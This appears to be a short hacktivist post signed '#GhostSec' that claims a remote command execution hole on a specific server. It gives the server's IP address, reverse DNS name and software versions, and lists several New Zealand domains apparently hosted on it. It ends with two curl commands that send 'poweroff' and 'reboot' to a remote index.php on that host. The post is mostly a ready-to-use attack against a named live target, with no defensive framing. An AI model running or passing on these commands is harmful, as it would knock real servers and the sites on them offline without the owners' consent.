Remote Index Execution Exploit

60.234.1.8
(default-rdns.callplus.co.nz)
Apache/2.2.3 (Debian)
PHP/5.2.6-1+lenny2 with Suhosin-Patch mod_ssl/2.2.3
OpenSSL/0.9.8g
27  Favicon icon  joy.net.nz
28  Favicon icon  kiwionline.co.nz
29  Favicon icon  orcon.org.nz
30  Favicon icon  security.co.nz
31  Favicon icon  talk.co.nz
32  Favicon icon  wise.net.nz
$ curl http://60.234.1.8:3664/remote/index.php?cmd=poweroff
$ curl http://60.234.1.8:3664/remote/index.php?cmd=reboot
#GhostSec